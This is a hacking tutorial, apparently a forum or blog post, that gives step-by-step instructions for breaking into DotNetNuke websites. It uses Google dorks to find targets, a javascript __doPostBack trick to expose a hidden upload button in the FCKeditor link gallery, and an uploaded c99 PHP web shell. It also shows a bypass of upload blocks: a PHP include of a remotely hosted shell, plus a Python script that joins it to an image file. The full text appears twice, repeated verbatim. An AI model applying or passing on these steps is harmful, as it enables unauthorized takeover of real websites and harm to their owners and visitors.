Hacking Into Websites In Only Two Minutes Via The DNN Method
The DNN method is a very simple way to hack into websites, unlike SQL injection or XSS (Cross-site scripting) it does not require script or command injection.
To implement this method you will need:
Access to the internet
Clipboard
Python
Notepad
A jpg image
A PHP shell in .txt format
That is it Smile
Google Dorks required:
inurl:/tabid/36/language/en-US/Default.aspx
inurl:fcklinkgallery.aspx
inurl:/portals/0
Step One: Use the Google dorks, go to a search result an delete everything in the URL till it looks like http://example.com and then after it paste in Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx so the link looks like http://example.com/Providers/HtmlEditorP...llery.aspx and if you get to a Link Gallery that has three options, URL, page and file you can hack in. If it is a blank Link Gallery that only says 'use selected URL' it is not hackable.
Step Two: Go to file, select it and wait for the file page to load.
Step Three: Delete the url and enter:
j a v a s c r i p t:__doPostBack(‘ctlURL$cmdUpload’,”)
Without the spaces.
This javascript will make a browse button visible.
Step Four: Click on the browse button, download c99 shell or another PHP shell and upload it. Sometimes uploads of .php files will be blocked.
Step Five: Getting around block
Bypassing .php upload blocks:
Upload your PHP shell to a web host and then make a .php file containing this code:
<?php
include ("http://linktophpshell.com/shell.php");
?>
Then make a full white .gif or .jpg image and make sure the gif/jpg and php file are all in the same directory.
Then make a python script with this coding:
file = open ('nameofgif.gif','rb').read()
file += open ('nameofphpfile.php','rb').read()
open ('newphpfile.php','wb').write(file)
Then run both. It will create a valid .jpg image containing code to execute the php shell. Upload it to the server, scroll to where the .gif/.jpg you uploaded is located on the website and then the php shell control panel will open letting you do whatever you want.
The DNN method is a very simple way to hack into websites, unlike SQL injection or XSS (Cross-site scripting) it does not require script or command injection.
To implement this method you will need:
Access to the internet
Clipboard
Python
Notepad
A jpg image
A PHP shell in .txt format
That is it Smile
Google Dorks required:
inurl:/tabid/36/language/en-US/Default.aspx
inurl:fcklinkgallery.aspx
inurl:/portals/0
Step One: Use the Google dorks, go to a search result an delete everything in the URL till it looks like http://example.com and then after it paste in Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx so the link looks like http://example.com/Providers/HtmlEditorP...llery.aspx and if you get to a Link Gallery that has three options, URL, page and file you can hack in. If it is a blank Link Gallery that only says 'use selected URL' it is not hackable.
Step Two: Go to file, select it and wait for the file page to load.
Step Three: Delete the url and enter:
j a v a s c r i p t:__doPostBack(‘ctlURL$cmdUpload’,”)
Without the spaces.
This javascript will make a browse button visible.
Step Four: Click on the browse button, download c99 shell or another PHP shell and upload it. Sometimes uploads of .php files will be blocked.
Step Five: Getting around block
Bypassing .php upload blocks:
Upload your PHP shell to a web host and then make a .php file containing this code:
<?php
include ("http://linktophpshell.com/shell.php");
?>
Then make a full white .gif or .jpg image and make sure the gif/jpg and php file are all in the same directory.
Then make a python script with this coding:
file = open ('nameofgif.gif','rb').read()
file += open ('nameofphpfile.php','rb').read()
open ('newphpfile.php','wb').write(file)
Then run both. It will create a valid .jpg image containing code to execute the php shell. Upload it to the server, scroll to where the .gif/.jpg you uploaded is located on the website and then the php shell control panel will open letting you do whatever you want.
